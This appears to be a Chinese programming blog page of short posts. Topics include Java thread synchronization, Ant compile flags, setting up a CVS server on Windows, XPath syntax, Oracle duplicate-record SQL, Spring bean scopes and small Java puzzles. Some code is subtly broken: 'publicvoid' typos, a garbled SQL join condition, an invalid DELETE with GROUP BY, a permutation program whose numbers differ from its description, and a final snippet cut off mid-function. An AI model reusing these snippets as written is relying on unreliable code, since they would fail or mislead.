      先来看第一段代码,这里我们在run()方法中加入了synchronized关键字,希望能对run方法进行互斥访问,但结果并不如我们希望那样,这是因为这里synchronized锁住的是this对象,即当前运行线程对象本身。代码中创建了10个线程,而每个线程都持有this对象的对象锁,这不能实现线程的同步。

class MyThread implements java.lang.Runnable

{

   private int threadId;

   public MyThread(int id)

   {

       this.threadId = id;

   }

   

   public synchronized void run()

   {

       for (int i = 0; i < 100; ++i)

       {

           System.out.println("Thread ID: " + this.threadId + " : " + i);

       }

   }

}

public class ThreadDemo

{

   public static void main(String[] args) throws InterruptedException

   {

       for (int i = 0; i < 10; ++i)

       {

           new Thread(new MyThread(i)).start();

           Thread.sleep(1);

       }

   }

}

      从上述代码段可以得知,要想实现线程的同步,则这些线程必须去竞争一个唯一的共享的对象锁。

      基于这种思想,我们将第一段代码修改如下所示,在创建启动线程之前,先创建一个线程之间竞争使用的Object对象,然后将这个Object对象的引用传递给每一个线程对象的lock成员变量。这样一来,每个线程的lock成员都指向同一个Object对象。我们在run方法中,对lock对象使用synchronzied块进行局部封锁,这样就可以让线程去竞争这个唯一的共享的对象锁,从而实现同步。

class MyThread implements java.lang.Runnable

{

   private int threadId;

   private Object lock;

   public MyThread(int id, Object obj)

   {

       this.threadId = id;

       this.lock = obj;

   }

   

   publicvoid run()

   {

       synchronized(lock)

       {

           for (int i = 0; i < 100; ++i)

           {

               System.out.println("Thread ID: " + this.threadId + " : " + i);

           }

       }

   }

}

public class ThreadDemo

{

   public static void main(String[] args) throws InterruptedException

   {

       Object obj = new Object();

       for (int i = 0; i < 10; ++i)

       {

           new Thread(new MyThread(i, obj)).start();

           Thread.sleep(1);

       }

   }

}

      从第二段代码可知,同步的关键是多个线程对象竞争同一个共享资源即可,上面的代码中是通过外部创建共享资源,然后传递到线程中来实现。我们也可以利用类成员变量被所有类的实例所共享这一特性,因此可以将lock用静态成员对象来实现,代码如下所示:

class MyThread implements java.lang.Runnable

{

   private int threadId;

   private static Object lock = new Object();

   public MyThread(int id)

   {

       this.threadId = id;

  }

   publicvoid run()

   {

       synchronized(lock)

       {

           for (int i = 0; i < 100; ++i)

           {

               System.out.println("Thread ID: " + this.threadId + " : " + i);

           }

       }

   }

}

public class ThreadDemo

{

   public static void main(String[] args) throws InterruptedException

   {

       for (int i = 0; i < 10; ++i)

       {

           new Thread(new MyThread(i)).start();

           Thread.sleep(1);

       }

   }

}

      再来看第一段代码,实例方法中加入sychronized关键字封锁的是this对象本身,而在静态方法中加入sychronized关键字封锁的就是类本身。静态方法是所有类实例对象所共享的,因此线程对象在访问此静态方法时是互斥访问的,从而可以实现线程的同步,代码如下所示:

class MyThread implements java.lang.Runnable

{

   private int threadId;

   

   public MyThread(int id)

   {

       this.threadId = id;

   }

   

   publicvoid run()

   {

       taskHandler(this.threadId);

   }

   private static synchronized void taskHandler(int threadId)

   {

       for (int i = 0; i < 100; ++i)

       {

           System.out.println("Thread ID: " + threadId + " : " + i);

       }

   }

}

public class ThreadDemo

{

   public static void main(String[] args) throws InterruptedException

   {

       for (int i = 0; i < 10; ++i)

       {

           new Thread(new MyThread(i)).start();

           Thread.sleep(1);

       }

   }

}

Java线程同步总结:

1、线程同步的目的是为了保护多个线程反问一个资源时对资源的破坏。
2、线程同步方法是通过锁来实现,每个对象都有且仅有一个锁,这个锁与一个特定的对象关联,线程一旦获取了对象锁,其他访问该对象的线程就无法再访问该对象的其他非同步方法。
3、对于静态同步方法,锁是针对这个类的,锁对象是该类的Class对象。静态和非静态方法的锁互不干预。一个线程获得锁,当在一个同步方法中访问另外对象上的同步方法时,会获取这两个对象锁。
4、对于同步,要时刻清醒在哪个对象上同步,这是关键。
5、编写线程安全的类,需要时刻注意对多个线程竞争访问资源的逻辑和安全做出正确的判断,对“原子”操作做出分析,并保证原子操作期间别的线程无法访问竞争资源。
6、当多个线程等待一个对象锁时,没有获取到锁的线程将发生阻塞。
7、死锁是线程间相互等待锁锁造成的,在实际中发生的概率非常的小。真让你写个死锁程序,不一定好使,呵呵。但是,一旦程序发生死锁,程序将死掉。

posted @ 2010-03-18 01:43 jadmin 阅读(354) | 评论 (1)编辑 收藏

你站在桥上看风景
看风景的人在楼上看你

明月装饰了你的窗子
你装饰了别人的梦

posted @ 2010-03-16 22:56 jadmin 阅读(91) | 评论 (0)编辑 收藏

有时候将自己的程序打包成jar文件作为类库调用,出错时,遇到自己的jar包里的类文件报异常信息时,无法打印出行号,而是(Unknown Source)

解决办法:在编译任务中加上如下参数debug="true" debuglevel="lines,vars,source"

例如:

<target name="compile" depends="prepare" description="编绎源码">
   <javac encoding="utf-8" destdir="${build.dir}" source="1.5" target="1.5"
        deprecation="false" optimize="false" failonerror="true"
        debug="true" debuglevel="lines,vars,source">
     <src refid="src-paths" />
     <classpath refid="lib-paths" />
   </javac>

   <copy todir="${build.dir}" preservelastmodified="true">
     <fileset dir="${src.dir}">
       <include name="**/*.txt"/>
       <include name="**/*.xml"/>
       <include name="**/*.dtd"/>
       <include name="**/*.properties"/>
     </fileset>
   </copy>
</target>

posted @ 2010-03-14 20:26 jadmin 阅读(135) | 评论 (0)编辑 收藏

CVS介绍

CVS是Concurrent Versions System(并发版本系统)的缩写,基于Unix体系中成熟的SCCS(Source Code Control System)和RCS(Revision Control System)开发,是一个开放源码的项目,目前已是版本控制系统的主流软件。一个很常见的使用CVS的场合,就是开放源码项目。由于开放源码项目的开发者的分布性,对于版本管理的要求更加严格,而目前大部分的开放源码项目几乎都是采用CVS来管理源代码,CVS的标准性和强大可见一斑。CVS跟微软的VSS一样,是源代码版本控制工具之一,所不同的是CVS属于开源项目,并且CVS最初是为Linux/Unix设计的,现在已经有Windows下版本,它实现了跨平台。

CVS采用客户机/服务器体系,代码以及各种版本存储在中心服务器内,每一个个体开发者开发时都首先从服务器上获得一份自己的拷贝,在此基础上进行开发,以避免直接影响服务器上的数据。开发者可以随时把自己的新代码提交给服务器,并通过更新获得代码的最新状态,保持与其他开发者的一致。

CVS对于网络是透明的,开发者可以使用客户端软件(几乎所有的平台上都有相应的客户端软件)在任何时候,任何地点通过网络来获取最新的代码。有关Linux下CVS的搭建的资料很多而且很全,在这里就不再介绍。下面主要介绍一下个人在Windows下面搭建CVS的一个过程,或许对你有一定的帮助。

一、需要的软件
1、CVSNT
CVSNT是目前在Windows平台上构建CVS服务器最方便的工具,操作简单,以Windows服务程序的形式运行。目前CVSNT已被移植到其它平台如Linux上。
选用版本:2.0.58d。
在这里我选用这个版本而不采用最新的2.5.x的原因主要是因为2.5.x版本的CVS改变了History文件的格式,导致无法使用CVSTracNT一起工作。但是如果你不使用CVSTracNT,选用2.5.x也一样,其操作与2.0.58d基本相同,也是十分的简单。
CVSNT可以直接到官方站点下载:http://www.cvsnt.org/

2、WinCVS
WinCVS是CVS的一个客户端程序,当你创建了一个CVS服务器以后,你可以通过WinCVS来访问CVS服务器,添加数据以及获取CVS服务器上的文件等。WinCVS同样拥有Windows版本。
选用版本:2.0.2 (Build2)
客户端程序版本无所谓,只要与服务器端兼容即可。CVS访问协议有多种,我们经常用的是pserver,格式是::pserver;username=youname;password=youpass;hostname=192.168.1.22:/cvsroot注意,这里的用户名以及密码是你访问服务器的用户名以及密码,对于Windows服务器来讲,可以在计算机管理中添加用户,最后面的cvsroot是CVS服务器数据仓库的根路径,与服务器设置要保持一致。
官方下载地址:http://www.wincvs.org

3、Python
要想让WinCVS运行起来并能够支持命令行操作,必不可少的就是Python(包含TCL)。
选用版本:2.4.1
在运行CVS客户端程序的时候,需要Python支持,可以运行WinCVS在命令行中进行操作版本选择原则是与WinCVS兼容。
官方下载地址:http://www.python.org/

4、CVSTracNT
除了安装CVS的服务器端以及客户端程序外,在项目管理中我们还一般会配套安装CVSTracNT,它是一个基于Web的CVS源代码跟踪工具。使用CVSTracNT,我们可以跟踪源代码的变更,可以查看提交的记录,可以对比不同版本之间的异同,允许提交任务单、创建里程碑,并通过Web的方式查看、比较源代码文件。对于CVS系统本身来说,是一个非常有益的补充,对开发起到很大的帮助。
选用版本:1.1.5 Build20050703多国语言版。
这个版本由cnpack项目组的成员进行了汉化,并添加了许多实用的工具。具体的内容可以参考其中文网站。
官方下载地址:http://www.cnpack.org/

二、安装过程
1、安装CVSNT
直接运行CVSNT安装包。安装结束后,打开Service Control Panel,配置你的CVS仓库。点击Repositories选项页,添加你的仓库地址就可以了,不需要重新启动CVS服务器。这里注意的是,你选择的数据仓库路径是你CVS服务器存储数据的路径,并不是你需要用来管理的文件目录。我们可以指定一个目录用于存储。

2、安装WinCVS
直接运行安装文件,按照提示Next下去即可。安装完成以后使用分配的帐号登陆CVS服务器进行相应的操作。详细使用可以参考WinCVS帮助文档。

3、安装Python
直接运行安装文件。注意要选择以前装TCL(使用命令行操作WinCVS时需要TCL的支持),其他一路Next。记得最后在PATH中添加一个Python的安装目录。

4、安装CVSTracNT
直接运行CVSTracNT安装包。安装结束后运行CVSTrac配置程序,程序启动后会自动搜索CVS仓库,将其添加到CVSTrac数据库。选中数据库,点击浏览按钮,你的浏览器应该打开并显示CVSTrac的页面了。
CVSTracNT的使用及配置参考 http://www.cnpack.org/ 上的介绍。

三、总结
以上的搭配过程是本人自己第一次搭建的写照,很多地方可能还不是十分的完整,以后会不断补充。但是基本的都做完了,而且测试通过。在安装过程中刚开始的时候可能对CVS帐号的分配会比较迷惑。本人也是通过本次安装才知道账号添加试通过计算机管理来实现的,就是添加Windows用户 :-) 到此为止,一个简单的CVS环境就培植成功了,接下来的事情是如何添加文件到CVS数据库中以及如何使用WinCVS进行获取文件了。

posted @ 2010-03-14 02:26 jadmin 阅读(99) | 评论 (0)编辑 收藏

[1]单击 工具 菜单中的 选项 菜单项,在弹出的 选择 对话框中选择 拼写和语法 选项卡

[2]在 拼写 选项组中取消 键入时检查拼写 复选框,在 语法 选项组中取消 键入时检查语法。

[3]选中 拼写 选项组中的 隐藏文档中的拼写错误 复选框和 语法 选项组中的 隐藏文档中的语 法错误 复选框。 (此步骤实际上在[2]完成后就已经完成了)

[4]确定

以上方法在Word 2003中测试通过

posted @ 2010-03-12 01:36 jadmin 阅读(87) | 评论 (0)编辑 收藏

  化冰为水

  春已至,冰成水。

  寒冬,将水凝。一道冰墙,阻挡在心与心之间。

  冰“水为之而寒于水”,连同杂质都冻成心墙。冰在零下便不可一世,低温是他滋生的温床,而人与人之间的淡漠使寒气更重。

  一堵心的冰墙,看似无坚不摧无法跨过,但,不要忽视了一样非常极其有用的东西——热。当冰度不断加热,直至温度不断升高,它就会屈服,融化,化成一滩水,有温度的柔水。杂质便会显露,沉入水底。但,水亦可灭火,冰化成水时会吸取大量的热,会浇灭火。因而,包容的烧杯便会出现,将冰化成的水积入杯中,一点一滴。

  人与人之间的种种不愉快便是杂质,其种类繁多,仇怨恨等等,而主体冰则是相互之间的不沟通和不包容。一旦冷漠加剧,心温下降,便会结成冰墙,立在两人心与心之间不远的地方,只要稍微给一点热情,便会化成水,失去靠山的杂质便会随水流走,洗净心灵。倘若,心墙很厚,杂质很多,冷漠很多,心就会很冷,人与人阻隔在冰川之中,犹如南极大陆,感觉到的只是冷,看到的除了冰还是冰。

  心被冰封在冰层之中,渐渐死去。没有了知觉的心,没有心的人能够称为人吗所以,心必须吸收温暖,必须从阴暗中走出来,去晒一晒太阳。

  阳春,冰墙在阳光之下还能放肆吗只能逐渐消亡,化成一股暖流,在心中汇聚成河,各种各样的鱼虾于其中欢快,这就是真正的人生。

  冬天,寒冷是不可避免的,但只要心中有春,最寒冷的南极也不会冻心。

posted @ 2010-03-06 21:46 jadmin 阅读(65) | 评论 (0)编辑 收藏

java异常[java.util.regex.patternsyntaxexception dangling meta character '+' near index]解决

String s="/babalaautomgr.ejs?method=constr";
int i=s.split("?").length;
System.out.println(i);

java.util.regex.PatternSyntaxException: Dangling meta character '?' near index 0

问题出现在加号附近,查询相关的资料显示,+、*、|、\等符号在正则表达示中有相应的不同意义。
一般来讲只需要加[]、或是\\即可

int i=s.split("[?]").length;或者int i=s.split("\\?").length;

posted @ 2009-11-02 20:57 jadmin 阅读(1294) | 评论 (0)编辑 收藏


首先给出一段XML格式文本信息:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
    <book>
        <title lang="eng">Harry Potter</title>
<price>29.99</price>
    </book>
    <book>
<title lang="eng">Learning XML</title>
<price>39.95</price>
    </book>
</bookstore>


表达式     描述
节点名     选择所有该名称的节点集
/              选择根节点
//             选择当前节点下的所有节点
.              选择当前节点
..             选择父节点
@            选择属性

示例
表达式                  描述
bookstore             选择所有bookstore子节点
/bookstore            选择根节点bookstore
bookstore/book    在bookstore的子节点中选择所有名为book的节点
//book                   选择xml文档中所有名为book的节点
bookstore//book   选择节点bookstore下的所有名为book为节点
//@lang                 选择所有名为lang的属性

断言
在方括号中[],用来更进一步定位选择的元素
表达式                                             描述
/bookstore/book[1]                          选择根元素bookstore的book子元素中的第一个(注意: IE5以上浏览器中第一个元素是0)
/bookstore/book[last()]                    选择根元素bookstore的book子元素中的最后一个
/bookstore/book[last()-1]                 选择根元素bookstore的book子元素中的最后第二个
/bookstore/book[position()<3]         选择根元素bookstore的book子元素中的前两个
//title[@lang]                                    选择所有拥有属性lang的titile元素
//title[@lang='eng']                          选择所有属性值lang为eng的title元素
/bookstore/book[price>35.00]         选择根元素bookstore的book子元素中那些拥有price子元素且值大于35的
/bookstore/book[price>35.00]/title   选择根元素bookstore的book子元素中那些拥有price子元素且值大于35的title子元素

选择位置的节点
通配符      描述
*                匹配所有元素
@*             匹配所有属性节点
node()       匹配任何类型的节点
示例
表达式                    描述
/bookstore/*            选择根元素bookstore的下的所有子元素
//*                            选择文档中所有元素
//title[@*]                 选择所有拥有属性的title元素

使用操作符“|”组合选择符合多个path的表达式

posted @ 2009-11-02 20:55 jadmin 阅读(112) | 评论 (0)编辑 收藏
一个后台应用程序,使用了Spring+iBatis框架。
有这样的需求,要求程序启动后,要一直驻留内存,而不能因为出现数据库连接失效、“闪动”、或者网线断了而挂起,因为没有人值守程序,并且当网络故障、数据库故障、配置参数等故障排除后,程序能根据修复的新状态继续执行。
实现方式:以前使用Linux操作系统的shell脚本定时检测,但是俺不会写shell脚本。
于是有了下面的实现方式:
        public static voidmain(String[] args) {
                while(true) {
                        try{
                                 ctx = ApplicationContextUtil.getApplicationContext();
                                 IssuePlan issuePlan = (IssuePlan) ctx.getBean("issuePlan");
                                 issuePlan.execute();
                         }catch(Throwable e) {
                                 log.error("网络视频节目分发程序启动发生了严重错误!", e);
                                try{
                                         Thread.sleep(pause_timespan * 1000L);
                                 }catch(InterruptedException e1) {
                                 }
                         }
                 }
         }
这种方式运行良好,每次因为严重错误都会重新初始化Spring的ApplicationContext。这样,整个程序的运行就是:一直执行任务,有任务就执行,没任务休息一段时间,有错误等待一段时间重试,没错误继续。
issuePlan.execute(); 是核心的后台任务执行者,这个方法在正常情况下是不会退出的,写法是while(true)逻辑,只有当发生一些严重错误会导致此方法发生异常退出。
 

posted @ 2009-10-01 16:05 jadmin 阅读(138) | 评论 (0)编辑 收藏

Ehcache缓存回收策略

posted @ 2009-09-05 00:33 jadmin 阅读(130) | 评论 (0)编辑 收藏

1.Cache Hit and Cache Miss

当使用者第一次向数据库发出查询数据的请求的时候,数据库会先在缓冲区中查找该数据,如果要访问的数据恰好已经在缓冲区中(我们称之为Cache Hit)那么就直接用缓冲区中读取该数据.

反之如果缓冲区中没有使用者要查询的数据那么这种情况称之为Cache Miss,在这种情况下数据库就会先从磁盘上读取使用者要的数据放入缓冲区,使用者再从缓冲区读取该数据.

很显然从感觉上来说Cache Hit会比Cache Miss时存取速度快.

2. LRU(最近最少使用算法) and MRU(最近最常使用算法)

所谓的LRU(Least recently used)算法的基本概念是:当内存的剩余的可用空间不够时,缓冲区尽可能的先保留使用者最常使用的数据,换句话说就是优先清除较不常使用的数据”,并释放其空间.之所以较不常使用的数据要用引号是因为这里判断所谓的较不常使用的标准是人为的、不严格的.所谓的MRU(Most recently used)算法的意义正好和LRU算法相反.

下面我们通过Oracle 9i Cache中对LRUMRU的使用来看一下两者在缓冲区工作机制中的作用和区别:

     Oracle 9i中有LRU List的概念: 我们可以把LRU List想象成是一连串的缓冲区集合,两端分别是LRUMRU, 当数据库从磁盘上读取数据放入缓冲区时,系统必须先确定缓冲区中有free buffers,这个时候Oracle 9i会扫描LRU List,扫描的基本原则是:

1.     LRUMRU;

2.     当扫描到free buffer或已扫描的缓冲区数目超过临界值时,就会停止扫描动作;

      如果在扫描过程顺利的在LRU List中找到了free buffer,那么Oracle 9i就把从磁盘读出的数据写到free buffer中然后把free buffer加到LRU ListMRU.

      那如果扫描过程没有在LRU List中找到free buffer怎么办?当然是从LRU ListLRU开始清除缓冲区,如此一来就可以腾出新的空间了.

      下图就是一个例子:

          使用者查询数据A,初始的时候LRU List中没有数据A,于是Oracle 9i到磁盘读取A,然后放到LRU ListMRU,使用者再从LRU List中读取数据A,同理对于B,C…LRU List满了以后,如果使用者查询N,此时N不在LRU List中而且LRU List中已经没有free buffer,此时Oracle 9i就开始从LRU淘汰A以腾出空间存放N.

                      1

我们再来看另外一种情况:

    State 3之后,恰好使用者持续的查询A—这将会导致A一直被放置在靠近MRU的缓冲区,结果将如图State m’所示,你会发现图2State m’与图1State m缓冲区存放的数据完全一样但是存放位置不一样.此时LRU List满了,如果再放N的时候LRU List`淘汰的是B,因为A的查询率高于B,所以LRU ListA在缓冲区中呆上较长的时间而先淘汰掉较不常用的B.

                             2

posted @ 2009-09-05 00:27 jadmin 阅读(151) | 评论 (0)编辑 收藏

[A] 每次读入的字节数不同
[B] 前者带有缓冲,后者没有
[C] 前者是块读写,后者是字节读写
[D] 二者没有区别,可以互换使用

结果:[C]

posted @ 2009-09-03 21:29 jadmin 阅读(802) | 评论 (0)编辑 收藏

比如现在有一人员表(表名:peosons) 若想将姓名、身份证号、住址这三个字段完全相同的记录查询出来
select p1.* from persons p1,persons p2
where p1.idp2.id and p1.cardid = p2.cardid and p1.pname = p2.pname and p1.address = p2.address 可以实现上述效果.

几个删除重复记录的SQL语句

1.用rowid方法

2.用group by方法

3.用distinct方法

1.用rowid方法

据据oracle带的rowid属性,进行判断,是否存在重复,语句如下:
查数据:
     select * from table1 a where rowid !=(select   max(rowid)
     from table1 b where a.name1=b.name1 and a.name2=b.name2......)
删数据:
    delete   from table1 a where rowid !=(select   max(rowid)
     from table1 b where a.name1=b.name1 and a.name2=b.name2......)

2.group by方法

查数据:
  select count(num), max(name) from student --列出重复的记录数,并列出他的name属性
  group by num
  having count(num) >1 --按num分组后找出表中num列重复,即出现次数大于一次
删数据:
  delete from student
  group by num
  having count(num) >1
  这样的话就把所有重复的都删除了。

3.用distinct方法 -对于小的表比较有用

create table table_new as   select distinct *   from table1 minux
truncate table table1;
insert into table1 select * from table_new;


查询及删除重复记录的方法大全

1、查找表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断
select * from people
where peopleId in (select peopleId from people group by peopleId having count(peopleId) > 1)


2、删除表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断,只留有rowid最小的记录
delete from people
where peopleId in (select peopleId from people group by peopleId   having count(peopleId) > 1)
and rowid not in (select min(rowid) from people group by peopleId having count(peopleId )>1)


3、查找表中多余的重复记录(多个字段)
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)


4、删除表中多余的重复记录(多个字段),只留有rowid最小的记录
delete from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)


5、查找表中多余的重复记录(多个字段),不包含rowid最小的记录
select * from vitae a
where (a.peopleId,a.seq) in (select peopleId,seq from vitae group by peopleId,seq having count(*) > 1)
and rowid not in (select min(rowid) from vitae group by peopleId,seq having count(*)>1)


(二)
比方说
在A表中存在一个字段“name”,
而且不同记录之间的“name”值有可能会相同,
现在就是需要查询出在该表中的各记录之间,“name”值存在重复的项;
Select Name,Count(*) From A Group By Name Having Count(*) > 1
如果还查性别也相同大则如下:
Select Name,sex,Count(*) From A Group By Name,sex Having Count(*) > 1


(三)
方法一
declare @max integer,@id integer
declare cur_rows cursor local for select 主字段,count(*) from 表名 group by 主字段 having count(*) >; 1
open cur_rows
fetch cur_rows into @id,@max
while @@fetch_status=0
begin
select @max = @max -1
set rowcount @max
delete from 表名 where 主字段 = @id
fetch cur_rows into @id,@max
end
close cur_rows
set rowcount 0


方法二
"重复记录"有两个意义上的重复记录,一是完全重复的记录,也即所有字段均重复的记录,二是部分关键字段重复的记录,比如Name字段重复,而其他字段不一定

重复或都重复可以忽略。


  1、对于第一种重复,比较容易解决,使用
select distinct * from tableName
  就可以得到无重复记录的结果集。
  如果该表需要删除重复的记录(重复记录保留1条),可以按以下方法删除
select distinct * into #Tmp from tableName
drop table tableName
select * into tableName from #Tmp
drop table #Tmp
  发生这种重复的原因是表设计不周产生的,增加唯一索引列即可解决。


  2、这类重复问题通常要求保留重复记录中的第一条记录,操作方法如下
  假设有重复的字段为Name,Address,要求得到这两个字段唯一的结果集
select identity(int,1,1) as autoID, * into #Tmp from tableName
select min(autoID) as autoID into #Tmp2 from #Tmp group by Name,autoID
select * from #Tmp where autoID in(select autoID from #tmp2)
  最后一个select即得到了Name,Address不重复的结果集(但多了一个autoID字段,实际写时可以写在select子句中省去此列)


(四)
查询重复
select * from tablename where id in (
select id from tablename
group by id
having count(id) > 1
)

posted @ 2009-09-03 16:50 jadmin 阅读(150) | 评论 (0)编辑 收藏

原题如下:用1、2、2、3、4、5这六个数字,用java写一个程序,打印出所有不同的排列,如:512234、412345等,要求:"4"不能在第三位,"3"与"5"不能相连。

解题思路:

很明显,这是一个递归算法。我们可以排列将这6个数按从小到大的顺序排一下,如果是1,2,3,4,5,6,那么会有1*2*3*4*5*6=6!=720个递增的数。但如果是1,2,2,3,4,5,那么在这720个数中一定会有相同的数对出现(由于在这6个数中只有两个数两同,也就是说,如果有重复的数,那么一定是一对数,如122345会出现两次)。

排列的基本规则是分步进行。也就是说,要排列上面6个数,首先应该选择第一个数,这第一个数可以选择这6个数中的任意一个,如选择1.第二步是选择第二个数,这第二个数不能再选择已经选过的数,如1.因此,它只能从后面5个数中选择。如选择2。以此类推。

我们也可以在程序中模拟这一过程。源程序如下:

public class test1 {
     private int[] numbers = new int[] { 1, 2, 3, 3, 4, 5 };
     public int n;
     private String lastResult = "";
     private boolean validate(String s) {
          if (s.compareTo(lastResult) <= 0)
               return false;
          if (s.charAt(2) == '4')
               return false;
          if (s.indexOf("35") >= 0 || s.indexOf("53") >= 0)
               return false;
          return true;
     }

     public void list(String index, String result) {
          for (int i = 0; i < numbers.length; i++) {
               if (index.indexOf(i + 48) < 0) {
                      String s = result + String.valueOf(numbers[i]);
                      if (s.length() == numbers.length) {
                           if (validate(s)) {
                                System.out.println(s);
                                lastResult = s;
                                n++;
                           }
                          break;
                      }
                      list(index + String.valueOf(i), s);
               }
          }
     }

     public static void main(String[] args) {
          test1 t = new test1();
          t.list("", "");
          System.out.println("总数:" + t.n);
     }
}

其中list函数是这个算法的核心函数。index参数表示已经选择过的数,用numbers数组的索引表示。如index="012",表示numbers的前三个数已经被选择,也表示应该选择第四个数了,而这第四个数应该从后三个数中选择。result参数表示临时的数字组合(这个数字组合最多是5个数字,因为,如果到了6个数字,就表示已经有一个结果产生了)。在默认情况下index和result的值都是""。

在validate中使用了 if (s.compareTo(lastResult) <= 0)进行判断,由于按这种方法进行排列,如果这6个数是递增给出的,那么排列的结果一定是递增的,但上述的6个数其中第2和第3个位置上都是2,因此,如果出现了上一个结果不小于当前结果的情况,一定是有重复了,因此,要将这部分数过滤出去。

使用1, 2, 2, 3, 4, 5的测试结果
122345
122543
123245
123254
123425
123452
125234
125243
125423
125432
132245
132254
132425
132452
132524
132542
142325
... ...
... ...
542313
542331
543123
543132
543213
543231
543312
543321
总数:118

使用1, 3, 3, 3, 4, 5的测试结果

133345
313345
315433
331345
331543
333145
333154
333415
333451
343315
345133
433315
451333
513334
513343
513433
541333
543133
543313
543331
总数:20

posted @ 2009-09-03 01:39 jadmin 阅读(87) | 评论 (0)编辑 收藏

作用域将对Bean的生命周期和创建方式产生影响.

singleton            在spring IOC容器中仅存在一个Bean实例,Bean以单实例的方式存在.


prototype            每次从容器中调用Bean时,都返回一个新的实例,即每次调用getBean()时,相当于执行new XxxBean()的操作.


request               每次HTTP请求都会创建一个新的Bean,该作用域仅适用于webApplicationContext环境.


session               同一个HTTP session共享一个Bean,不同HTTP session使用不同的Bean,该作用域仅适用于webApplicationContext环境.


globalSession   同一个全局session共享一个Bean,一般用于portlet应用环境,该作用域仅适用于webApplicationContext环境.

在低版本的spring中,由于只有两个Bean作用域,所以采用singleton="true|false"的配置方式,spring2.0为了向后兼容,依旧支持这种配置方式.不过,spring2.0推荐采用新的配置方式:scope="<作用域类型>"

-------------------------------------------------

singleton作用域


spring以容器的方式提供天然的单实例模式功能,任何POJO无须编写特殊的代码仅通过配置就可以了.

注意:spring将Bean的默认作用域定为singleton.

singleton例:

<bean id="car" class="com.baobaotao.scope.Car" scope="singleton"/>

<bean id="boss1" class="com.baobaotao.scope.Boss">

<property name="car" ref="car"/>

</bean>

Car Bean声明为singleton(因为默认是singleton,所以可以不显式指定).

在默认情况下,spring的ApplicationContext容器在启动时,自动实例化所有singleton的Bean并缓存于容器中.

虽然启动时会花费一些时间,但带来两个好处:首先对Bean提前的实例化操作会及早发现一些潜在的配置问题.

其次Bean以缓存的方式保存,当运行时使用到该Bean时就无须再实例化了,加快了运行效率.如果用户不希望在容

器启动时提前实例化singleton的Bean,可以通过lazy-init属性进行控制:

<bean id="boos1" class="com.baobaotao.scope.Boss" lazy-init="true">

<property name="car" ref="car"/>

</bean>

lazy-init="true"的Bean在某些情况下依旧会提前实例化:如果该Bean被其它需要提前实例化的Bean引用到,

spring也将忽略延迟实例化的设置.

-------------------------------------------------

prototype作用域

采用scope="prototype"指定非单实例作用域Bean,请看:

<bean id="car" class="com.baobaotao.scope.Car" scope="prototype"/>

<bean id="boss1" class="com.baobaotao.scope.Boss">

<property name="car" ref="car"/>

</bean>

<bean id="boss2" class="com.baobaotao.scope.Boss">

<property name="car" ref="car"/>

</bean>

boss1,boss2所引用的都是一个独立的Car实例.

在默认情况下,spring容器在启动时不实例化prototype的Bean.此外,spring容器将prototype的Bean交给调用

者后,就不再管理它的生命周期.

-------------------------------------------------

web应用环境相关的Bean作用域

如果用户使用spring的webApplicationContext,则可以使用另外3种Bean的作用域:request,session和globalSession.不过

在使用这些作用域之前,首先必须在web容器中进行一些额外的配置,在高版本的web容器中,则可以利用HTTP请求监听器进行配置:

<web-app>

...

<listener>

<listener-class>

org.springframework.web.context.request.RequestContextListener

</listener-class>

</listener>

...

</web-app>

细心的朋友可能有一个疑问:在介绍webApplicationContext初始化时,我们已经通过ContextLoaderListener将web容器与

spring容器整合,为什么这里又要引入一个额外的RequestContextListener以支持Bean的另外3个作用域呢?

在整合spring容器时使用ContextLoaderListener,它实现了ServletContextListener监听器接口,ServletContextListener

只负责监听web容器启动和关闭的事件.而RequestContextListener实现ServletRequestListener监听器接口,该监听器监听

HTTP请求事件,web服务器接收的每一次请求都会通知该监听器.

spring容器启动和关闭操作由web容器的启动和关闭事件触发,但如果spring容器中的Bean需要request,session,globalsession

作用域的支持,spring容器本身就必须获得web容器的HTTP请求事件,以HTTP请求的事件"驱动"Bean作用域的控制逻辑.

request作用域

顾名思义,request作用域的Bean对应一个HTTP请求和生命周期,考虑下面的配置:

<bean name="car" class="com.baobaotao.scope.Car" scope="request"/>

这样,每次HTTP请求调用到car Bean时,spring容器创建一个新的Car Bean,请求处理完毕后,销毁这个Bean.

session作用域

假设将以上car的作用域调整为session类型:

<bean name="car" class="com.baobaotao.scope.Car" scope="session"/>

这样配置后,car Bean的作用域横跨整个HTTP session,session中所有HTTP请求都共享同一个Car Bean,当HTTP Session结束后,实例

才被销毁.

globalSession作用域

下面的配置片断将car的作用域设置为了globalSession:

<bean name="loginController" class="com.baobaotao.scope.Car" scope="globalSession"/>

globalSession作用域类似于session作用域,不过仅在portlet的web应用中使用.Portlet规范定义了全局Session概念,它被组成portlet

web应用的所有子portlet共享.如果不在Portlet web应用环境下,globalSession自然等价于session作有域了.

posted @ 2009-08-31 14:48 jadmin 阅读(133) | 评论 (0)编辑 收藏


15 = 15
15 = 7 + 8
15 = 4 + 5 + 6
15 = 1 + 2 + 3 + 4 + 5

首先考虑一般的形式,设n为被划分的正整数,x为划分后最小的整数,如果n有一种划分,那么


结果就是x,如果有两种划分,就是x和x x + 1, 如果有m种划分,就是 x 、x x + 1 、 x x + 1 x + 2 、... 、x x + 1 x + 2 ... x + m - 1


将每一个结果相加得到一个公式(i * x + i * (i - 1) / 2) = n,i为当前划分后相加的正整数个数。


满足条件的划分就是使x为正整数的所有情况。


如上例,当i = 1时,即划分成一个正整数时,x = 15, 当i = 2时, x = 7。


当x = 3时,x = 4, 当x = 4时,4/9,不是正整数,因此,15不可能划分成4个正整数相加。


当x = 5时,x = 1。

Java代码

public static int split(int n) {
   int m = 0, x, t1, t2;
   for (int i = 1; (t1 = i * (i - 1) / 2) < n; i++) {
    t2 = (n - t1);
    x = t2 / i;
    if (x <= 0)
     break;
    if ((n - t1) % i == 0) {
     System.out.print(x + " ");
     for (int j = 1; j < i; j++) {
      System.out.print(x + j + " ");
     }
     System.out.println();
     m++;
    }
   }
   return m;
}

posted @ 2009-08-29 02:28 jadmin 阅读(94) | 评论 (0)编辑 收藏

private static int numOfZero(int n) {
   int count = 0;
   int data = 1;

   for (int i = 1; i <= n; i++) {
    data = data * i;
    while (data % 10 == 0) {
     count++;
     data = data / 10;
    }
